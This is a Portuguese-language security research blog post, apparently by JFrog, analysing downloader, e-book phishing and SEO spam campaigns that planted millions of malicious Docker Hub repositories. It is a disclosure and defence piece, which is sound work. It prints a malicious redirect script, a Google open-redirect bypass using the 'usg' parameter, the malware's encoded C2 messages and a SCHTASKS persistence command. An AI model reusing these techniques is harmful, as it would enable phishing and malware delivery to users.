A pesquisa JFrog descobre ataques coordenados ao Docker Hub que plantaram milhões de repositórios maliciosos

JFrog e Docker colaboram na mitigação e limpeza após as últimas descobertas de repositórios Docker Hub usados ​​para espalhar malware e golpes de phishing

Como partes-chave do ecossistema de software e como parceiros, JFrog e Docker estão trabalhando juntos para fortalecer o ecossistema de software. Parte desse esforço da equipe de pesquisa de segurança da JFrog envolve o monitoramento contínuo de registros de software de código aberto, a fim de identificar e abordar proativamente possíveis malwares e ameaças de vulnerabilidade.

Em publicações anteriores, discutimos alguns dos pacotes de malware que encontramos nos registros NPM , PyPI e NuGet , verificando continuamente todos os principais repositórios públicos. Nesta postagem do blog, revelamos três campanhas de malware em grande escala que descobrimos recentemente, visando o Docker Hub, que plantou milhões de repositórios “sem imagem” com metadados maliciosos . Esses são repositórios que não contêm imagens de contêiner (e, como tal, não podem ser executados em um mecanismo Docker ou cluster Kubernetes), mas contêm metadados maliciosos.

Docker Hub é uma plataforma que oferece diversas funcionalidades aos desenvolvedores, apresentando inúmeras oportunidades de desenvolvimento, colaboração e distribuição de imagens Docker. Atualmente, é a plataforma de contêiner número um preferida por desenvolvedores em todo o mundo. Ele hospeda mais de 15 milhões de repositórios.

No entanto, surge uma preocupação significativa quando se considera o conteúdo destes repositórios públicos. Nossa pesquisa revela que quase 20% desses repositórios públicos (quase três milhões de repositórios!) na verdade hospedavam conteúdo malicioso . O conteúdo variava desde simples spam que promove conteúdo pirata, até entidades extremamente maliciosas, como malware e sites de phishing, carregados por contas geradas automaticamente.

Embora os mantenedores do Docker Hub atualmente moderem muitos dos repositórios carregados, e os repositórios que encontramos tenham sido removidos após nossa divulgação, esses ataques mostram que bloquear 100% dos uploads maliciosos é imensamente desafiador.

O que permitiu esse ataque?

Docker Hub é o serviço de registro baseado em nuvem do Docker que hospeda e distribui imagens. Seu conceito central é um repositório, que inclui descrições de texto e metadados sobre os dados do contêiner.

Biblioteca do Docker Hub

Biblioteca de repositório do Docker Hub (clique para expandir)

Embora o principal recurso de um repositório Docker seja manter uma coleção de imagens Docker (um aplicativo que pode ser atualizado e acessível por meio de um nome fixo), o Docker Hub apresenta vários aprimoramentos importantes. O mais significativo deles são os recursos da comunidade.

Para repositórios públicos, o Docker Hub atua como uma plataforma comunitária. Permite aos usuários pesquisar e descobrir imagens que possam ser úteis para seus projetos. Os usuários também podem avaliar e comentar os repositórios, ajudando outros a avaliar a confiabilidade e a utilidade das imagens disponíveis.

Para ajudar os usuários a pesquisar e usar imagens, o Docker Hub permite que os mantenedores do repositório adicionem pequenas descrições e documentação em formato HTML , que serão exibidas na página principal do repositório. Normalmente, a documentação do repositório visa explicar a finalidade da imagem e fornecer diretrizes para seu uso.

Exemplo de documentação de um repositório legítimo

Exemplo de documentação de um repositório legítimo

Mas, como diz a lei de Murphy para segurança, se algo puder ser explorado por desenvolvedores de malware, inevitavelmente o será.

A equipe de pesquisa de segurança do JFrog descobriu que cerca de 4,6 milhões de repositórios no Docker Hub não têm imagens e não possuem conteúdo, exceto a documentação do repositório. Uma inspeção mais profunda revelou que a grande maioria desses repositórios sem imagem foi carregada com um fim de jogo malicioso – sua página de visão geral tenta enganar os usuários para que visitem sites de phishing ou sites que hospedam malware perigoso.

Antes de discutir as diversas cargas maliciosas, explicaremos nossa metodologia para encontrar esses repositórios maliciosos.

Identificando os repositórios maliciosos

Iniciamos nossa pesquisa identificando anomalias nos padrões de publicação dos repositórios Docker Hub. Para conseguir isso, extraímos todos os repositórios Docker Hub “sem imagem” publicados nos últimos cinco anos, agrupamos-os por data de criação e os plotamos em um gráfico:

Gráfico de repositórios criados mensalmente

Como podemos ver, a atividade normal no Docker Hub é bastante linear, mas podemos ver alguns picos em 2021 e 2023. Se ampliarmos, vemos que a atividade diária está bem definida e segue um padrão de semana de trabalho. Mesmo visualmente, podemos notar um padrão de semana de trabalho: mais repositórios são criados nos dias úteis e menos nos finais de semana.

Ampliando a anomalia de 2023

O gráfico mostra que quando a atividade incomum começa, o número de repositórios criados diariamente se multiplica por dez .

Analisamos minuciosamente os repositórios criados em dias com anomalias e encontramos muitos repositórios desviados da norma. O principal desvio é que eles não continham imagens de contêiner, apenas uma página de documentação, tornando o repositório inutilizável, pois não pode ser extraído e executado como uma imagem docker normal.

Exemplo de um repositório malicioso

Exemplo de um repositório malicioso

Por exemplo, o repositório mostrado na captura de tela acima contém alguns links na descrição que direcionam os usuários para um site de phishing: https[://]www[.******medz*****.]com. Este site engana visitantes desavisados, prometendo comprar medicamentos sujeitos a receita médica, mas depois roubando os dados do cartão de crédito.

Embora todos os repositórios anômalos fossem um pouco diferentes uns dos outros e fossem publicados por vários usuários, a maioria seguiu os mesmos padrões. Isso nos permitiu criar uma assinatura e agrupá-las por famílias (ou campanhas). Depois de aplicarmos essa assinatura a todos os repositórios sem imagem, reunimos uma lista dos usuários do hub que os publicam. Classificamos todos os repositórios publicados por esses usuários como malware também.

Depois de plotarmos as campanhas na linha do tempo, conseguimos entender os períodos em que operaram as maiores campanhas de malware.

Dois deles foram mais ativos no primeiro semestre de 2021, publicando milhares de repositórios diariamente. A campanha de downloader fez mais uma tentativa em agosto de 2023. A campanha “Website SEO” funcionou de forma diferente, empurrando consistentemente um pequeno número de repositórios diariamente durante três anos.

Repositórios de malware registrados por dia por campanha

Na época do DockerCon 2023, o Docker Hub continha 15 milhões de repositórios , portanto, usaremos esse número como referência para a contagem total de repositórios do Docker Hub.

O número total de repositórios sem imagens publicados no Docker Hub é 4,6 milhões – 30% de todos os repositórios públicos. Conseguimos vincular 2,81 milhões (~19%) desses repositórios a essas grandes campanhas maliciosas .

Além das grandes campanhas que identificamos, a nossa análise também revelou a presença de conjuntos menores de repositórios. Essas campanhas pareciam focadas principalmente em spam/SEO, porém não conseguimos classificar todas as variantes dessas campanhas. Estas “campanhas” mais pequenas continham menos de 1000 pacotes cada. Para nossa categorização, alocamos esses conjuntos menores em um grupo denominado “Outros suspeitos” –

Classificação de repositórios DockerHub

Distribuição de repositórios maliciosos por campanhas:

CampanhaNº de repositórios (% de todos os repositórios DH)Nº de usuários
SEO do site215451 (1,4%)194699
Baixador1453228 (9,7%)9309
Phishing de e-book1.069.160 (7,1%)1042
Outros suspeitos sem imagem76025 (0,5%)3689
Total2,81 milhões (18,7%)208739

Podemos ver diferentes abordagens na distribuição dos repositórios maliciosos. Enquanto as campanhas “Downloader” e “eBook Phishing” criam repositórios falsos em lotes durante um curto período de tempo, a campanha “Website SEO” cria alguns repositórios diariamente durante todo o período e usa um único usuário por repositório.

Agora que sabemos quais principais campanhas de malware estavam em execução no Docker Hub, vamos revisar suas táticas e técnicas em profundidade.

  1. Campanha “Downloader”
  2. Campanha “phishing de e-books”
  3. Campanha “SEO para sites”

Análise das campanhas de malware Docker Hub

1. Campanha “Downloader”

Distribuição dos Repositórios da Campanha Downloader

Os repositórios pertencentes a esta campanha contêm textos gerados automaticamente com texto SEO propondo o download de conteúdo pirata ou cheats para videogames. Além disso, o texto inclui um link para o suposto software anunciado.

Esta campanha operou em duas rodadas distintas (por volta de 2021 e 2023), enquanto ambas as rodadas usaram exatamente a mesma carga maliciosa (veja a análise mais abaixo).

APK de simulador de caminhão para

Exemplo de repositório malicioso com link para download de malware

A rodada de 2021 – Domínios maliciosos que fingem ser encurtadores de URL

A maioria dos URLs usados ​​na campanha finge usar encurtadores de URL conhecidos (por exemplo, tinyurl.com), semelhante a uma campanha de ataque ao Google Ads encontrada em 2021 também. Depois de tentarmos resolvê-los, descobrimos que, diferentemente dos encurtadores reais, esses encurtadores maliciosos não codificam realmente a URL. Em vez disso, eles codificam um nome de arquivo e resolvem um link para um domínio diferente sempre que um recurso malicioso é encerrado.

Por exemplo, durante nossa investigação, o URL blltly[.]com/1w1w1 redirecionou para https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w . No entanto, as solicitações subsequentes ao servidor acionavam a geração de um novo caminho de URL a cada vez.

Seu único propósito é servir como proxy para um CDN malicioso.

Cada solicitação subsequente para o mesmo link encurtado traz um URL diferente e, se o servidor que hospeda os arquivos maliciosos for desligado, o encurtador retornará um link para um novo e ativo. 

Reunimos uma lista de todos os domínios maliciosos e compilamos uma tabela mostrando a correspondência entre os encurtadores fraudulentos e suas versões reais e confiáveis.

Encurtador de malwareEncurtador legítimo personificado
blltly[.]com
bltlly[.]com
byltly[.]com
bytlly[.]com
https://bitly.com/
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
https://tinyurl.com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
https://urlgo.in/
imgfil[.]comhttps://imgflip.com/
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tweetat[.]com
vittuv[.]com

Encurtadores de URL falsos usados ​​pela campanha de malware

Essa estratégia, desenvolvida em 2021, funcionou por algum tempo até que as empresas de AV encontraram uma lista de links e os adicionaram às suas listas negras. Atualmente, navegadores e provedores emitem alertas quando há tentativa de acesso a um dos links da tabela acima.

A rodada de 2023 – Técnicas aprimoradas de antidetecção

A segunda rodada da campanha, que ocorreu em 2023, teve como foco evitar a detecção. Os repositórios maliciosos não usam mais links diretos para fontes maliciosas. Em vez disso, apontam para recursos legítimos como redirecionamentos para fontes maliciosas.

Entre esses recursos está uma página hospedada em blogger.com que contém código JavaScript que redireciona para a carga maliciosa após 500 milissegundos:

<script type='text/javascript'>
  var c = new URL(window.location).searchParams.get('el');
  if(c!=null){
    setTimeout('write()', 500);
    setTimeout('Redirect()', 0);
  }else{
  	window.setTimeout(function(){
     document.getElementById('redir').href='https://gohhs.com/';
   }, 500);
  }
  function write()
  {
   document.getElementById('redir').href='https://gohhs.com/'+c;
 }
 function Redirect()
 {
   window.location.replace('https://gohhs.com/'+c);
 }
</script>
Comando Copiar

Outra abordagem é um bug de redirecionamento aberto bem conhecido no Google, que permite que atores mal-intencionados redirecionem usuários para um site malicioso com um link legítimo do Google usando parâmetros específicos.

Normalmente, o link do Google https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F não redireciona um usuário para o site de destino. Em vez disso, mostra um aviso avisando que eles estão sendo redirecionados para outro domínio.

Aviso de redirecionamento

Exemplo de aviso de redirecionamento

No entanto, é possível adicionar o parâmetro não documentado usg  para desativar este aviso. O parâmetro contém um hash ou assinatura que faz com que google.com redirecione automaticamente para o site de destino –

PROTOCOLO:https
HOSPEDAR:www.google.com
CAMINHO:/url
PARÂMETROS:q=https://urlin.us/2vwNSWsobre=Dsntz=1usg=AOvVaw1A6cBKittNvLawLc7IB9M0

Esse redirecionamento leva ao site de destino. No momento em que este artigo foi escrito, os sites alvo eram gts794[.]com e failhostingpolp[.]ru. Esses sites atraem a vítima para baixar um software anunciado. No entanto, independentemente do nome na página inicial, o arquivo baixado é sempre o mesmo arquivo com um instalador EXE. Como podemos ver na análise do AnyRun , o malware instala um binário chamado freehtmlvalidator.exe no diretório “%LOCALAPPDATA%\HTML Free Validator”

Carga maliciosa veiculada na campanha de download

Carga maliciosa veiculada na campanha de download

Análise da carga útil da campanha “Downloader”

A carga útil da campanha “Downloader” é um executável malicioso que a maioria dos mecanismos antivírus detecta como um Trojan genérico.

Análise de fornecedor de segurança

Detecção da carga útil servida por antivírus

O malware foi escrito com o sucessor do outrora popular ambiente Delphi: Embarcadero RAD Studio 27.0.

O malware se comunica com o servidor C2C http://soneservice[.]shop/new/net_api usando solicitações HTTP POST. A solicitação é uma mensagem JSON com XOR com a chave de três bytes “787” e codificada em hexadecimal.

{
    "5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A",
    "465B0F": "664eed76ed570dbb4cba2bdcb3479b5f",
    "4E531F4B": "en"
}Comando Copiar

Os campos do JSON são codificados da mesma maneira, mas usando uma chave diferente: “ *2k ”. Sabendo disso, podemos decodificar a solicitação para

{
    "type": "getinitializationdata",
    "lid": "664eed76ed570dbb4cba2bdcb3479b5f",
    "data": "en"
}Comando Copiar

O primeiro comando enviado pelo malware ao servidor é getinitializationdata . Ele contém dois parâmetros: o identificador exclusivo do malware (“tampa”) e o identificador de localidade do sistema. Este último informa ao servidor sobre a configuração de idioma do sistema infectado, permitindo respostas personalizadas. O malware usa esse identificador exclusivo para todas as solicitações subsequentes do servidor.

Em resposta, o servidor fornece detalhes de layout e localização específicos do Delphi, que são adaptados com base na configuração de idioma do sistema.

Posteriormente, o malware envia uma solicitação de inicialização passando informações sobre o sistema infectado. As informações incluem informações específicas do sistema operacional, hardware, navegador instalado, versão do .NET framework, processos em execução e adaptadores de rede disponíveis. O servidor, em troca, fornece um link para o suposto software prometido e uma lista de ofertas. A parte do software prometida é representada por URL e nome de arquivo:

    "file": {
        "download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "size": 64918480
    },Comando Copiar

Comunicação do Malware com o Servidor C2

A seção “ofertas” da resposta também contém uma lista de links para executáveis. Além disso, ele descreve várias condições que devem ser atendidas para descartar executáveis. As condições mais significativas são:

  • excludeGeoTargeting contém códigos de países onde o malware não deve ser instalado"excludeGeoTargeting": [ "RU", "AZ", "AM", "BY", ]Comando Copiar
  • blackAvList contém uma lista de aplicativos antivírus que também impedirão a instalação do malware"blackAvList": [ "avast", "avg", "avira", "nod32", "mcafeeep", "windef", ]Comando Copiar
  • Uma lista negra de processos (não observada na amostra de carga útil)
  • Uma lista de entradas de registro do Windows que devem estar presentes no sistema de destino (não foi observada no exemplo de carga útil)

Considerando que o malware já envia informações sobre o sistema para o servidor, achamos essas condições no cliente um pouco redundantes. Além disso, a resposta contém campos que nunca foram usados ​​pelo binário do malware, mas são típicos de redes de publicidade, como price, offer_id e anunciante_id . A partir destes campos, podemos assumir que esta operação de malware faz parte de um ecossistema mais amplo, potencialmente envolvendo adware ou esquemas de monetização que se beneficiam da distribuição e instalação de software de terceiros. Com base neste entendimento, assumimos ainda que estes parâmetros de pedido são provavelmente copiados e incorporados no software a partir de uma API de rede de publicidade duvidosa, onde terceiros podem pagar pela distribuição dos seus executáveis.

"advertiser_id": 7,
"groupOffer_id": 43,
"price": 0.064,
"price_usd": 0.064,
"tarif": 0.08,
"use_balance": "0",Comando Copiar

Após processar a resposta, o malware mostra uma caixa de diálogo de instalação que propõe ao usuário baixar e instalar o software prometido no repositório Docker Hub malicioso –

Assistente de download

Caixa de diálogo de instalação mostrada por malware

Após aceitar, além de instalar o software prometido, o malware apenas baixa todos os binários maliciosos da oferta e agenda sua execução persistente com o comando “SCHTASKS.exe /Create /TN <random_name> /RL HIGHEST /SC DAILY” .

2. Campanha “phishing de e-books”

Repositórios de malware registrados por dia pela campanha ebook_phishing

Quase um milhão de repositórios criados em meados de 2021 transformaram o Docker Hub em uma “biblioteca de e-books piratas”. Todos esses repositórios de spam ofereciam downloads gratuitos de e-books contendo descrições geradas aleatoriamente e URLs de download –

imagem. exemplo de repositório de e-books de phishing

Exemplo de repositório de phishing de e-books

Todos os links eventualmente redirecionam o usuário para a mesma página: http://rd[.]lesac[.]ru/ .

página de destino para download de e-book

Página inicial de download de e-book

Após prometer uma versão completa gratuita do e-book, o site escolhe uma página aleatória do conjunto disponível para o IP do usuário e o redireciona para lá. As etapas a seguir dependem do país do usuário, mas geralmente é um formulário solicitando que o usuário insira as informações do cartão de crédito.

Sem dúvida, a única intenção por trás desta ação é o phishing, com o objetivo de roubar dados de cartão de crédito e inscrever o usuário, sem saber, em um serviço de assinatura. O rodapé desses sites de destino geralmente tem um texto pouco legível, informando que a assinatura custa entre 40 e 60 euros por mês.

Alguns sites de phishing da campanha
Alguns sites de phishing da campanha

Alguns sites de phishing da campanha (clique para expandir)

3. Campanha “SEO de site”

Ao contrário das duas campanhas anteriores, que eram flagrantemente maliciosas (phishing/download de malware), o objetivo desta campanha não é tão claro. Embora os repositórios em si obviamente não tenham sido carregados de boa fé, o conteúdo é em grande parte inofensivo – apenas uma string de descrição aleatória com um nome de usuário gerado pelo padrão “axaaaaaxxx”, onde a é uma letra e x é um dígito. Todos os repositórios publicados por esses usuários possuem o mesmo nome: website.

É possível que a campanha tenha sido usada como uma espécie de teste de estresse antes de implementar campanhas verdadeiramente maliciosas.

Esta campanha também conta com uma rotina de cadastro diferenciada. Como podemos ver no gráfico, os atores por trás desta campanha criaram mil repositórios diariamente ao longo de três anos! Isso é diferente das campanhas anteriores, que focavam na geração de repositórios sem imagens em um tempo muito menor. Nesta campanha os invasores publicaram apenas um repositório por usuário criado, enquanto nas campanhas anteriores um único usuário foi utilizado para publicar milhares de repositórios.

Repositórios de malware registrados por dia pela campanha “Website SEO”

Nesta campanha, a descrição do repositório geralmente contém uma frase curta, aparentemente aleatória e sem sentido, sem qualquer outra informação.
Alguns dos repositórios contêm links para sites de redes sociais, mas estes também parecem conter principalmente lixo, e não URLs ou arquivos maliciosos –

Repositórios contendo links para sites de redes sociais
Repositórios contendo links para sites de redes sociais

Exemplo de descrição de repositórios de campanha de SEO de site

Abaixo estão alguns nomes de usuários desta campanha, com as descrições relevantes na documentação do repositório –

Nomes de usuário com as descrições relevantes na documentação do repositório

Frases aleatórias dos repositórios da campanha de SEO do site

Quando pesquisamos esses nomes de usuário, descobrimos que esta campanha também tinha como alvo outras plataformas que possuem políticas de contribuição abertas –

Campanha direcionada a plataformas que possuem uma política de moderação de conteúdo flexível

Nomes de usuário de campanhas de SEO de sites usados ​​em outras plataformas

Divulgação para Docker Inc.

Antes desta publicação, a equipe de pesquisa do JFrog divulgou todas as descobertas à equipe de segurança do Docker, incluindo 3,2 milhões de repositórios suspeitos de hospedar conteúdo malicioso ou indesejado. A equipe de segurança do Docker removeu rapidamente todos os repositórios maliciosos e indesejados do Docker Hub. Gostaríamos de agradecer à equipe de segurança do Docker por lidar com esta divulgação de forma rápida e profissional e estamos felizes em contribuir para o uso contínuo e seguro do ecossistema Docker.

Como os usuários do Docker Hub podem evitar ataques semelhantes?

Os usuários devem preferir usar imagens Docker marcadas no Docker Hub como “Conteúdo confiável” –

O Docker Hub designou tags para conteúdo confiável que os usuários podem procurar ao navegar na página de descrição de uma imagem. A primeira tag é a tag Docker Official Image , também conhecida como Docker Hub’s Library, um conjunto de repositórios Docker com curadoria. A Biblioteca consiste em repositórios mantidos por fundações, organizações e empresas de desenvolvimento de software confiáveis ​​e conhecidas, como Python, Ubuntu e Node. A segunda tag é a tag Verified Publisher , que é atribuída a cada repositório que faz parte do Docker Verified Publisher Program. Este conjunto contém repositórios de editores comerciais, que foram verificados pelo Docker Hub. E por último, a tag Sponsored OSS , que é atribuída a repositórios de projetos de código aberto patrocinados pelo Docker Hub.

Ao navegar na página de um repositório, um emblema indicando que o repositório faz parte de um dos tipos mencionados apareceria ao lado do nome do repositório, no topo da página –

Seguir essas diretrizes diminuiria o risco de ser manipulado para seguir um link malicioso fora do Docker Hub a partir da página de descrição de um repositório. Por exemplo – nenhum dos repositórios maliciosos mencionados neste blog foi marcado como “Conteúdo confiável”.

Resumo

Ao contrário dos ataques típicos direcionados diretamente a desenvolvedores e organizações, os invasores neste caso tentaram aproveitar a credibilidade da plataforma Docker Hub, tornando mais difícil identificar as tentativas de phishing e instalação de malware.

Quase três milhões de repositórios maliciosos, alguns deles ativos há mais de três anos, destacam o contínuo uso indevido da plataforma Docker Hub pelos invasores e a necessidade de moderação constante em tais plataformas.

IoCs

failhostingpolp[.]ru
gts794[.]com
blltly[.]com
ltlly[.]com
byltly[.]com
bytlly[.]com
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
imgfil[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
tweeat[.]com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
vittuv[.]com
rd[.]lesac[.]ru
soneservice[.]shop

Mantenha-se atualizado com a pesquisa de segurança JFrog

As descobertas e pesquisas da equipe de pesquisa de segurança desempenham um papel importante na melhoria dos recursos de segurança de software aplicativo da JFrog Software Supply Chain Platform.

Acompanhe as últimas descobertas e atualizações técnicas da equipe de pesquisa da JFrog Security em no site de pesquisa dele (em ingles) e no X @JFrogSecurity.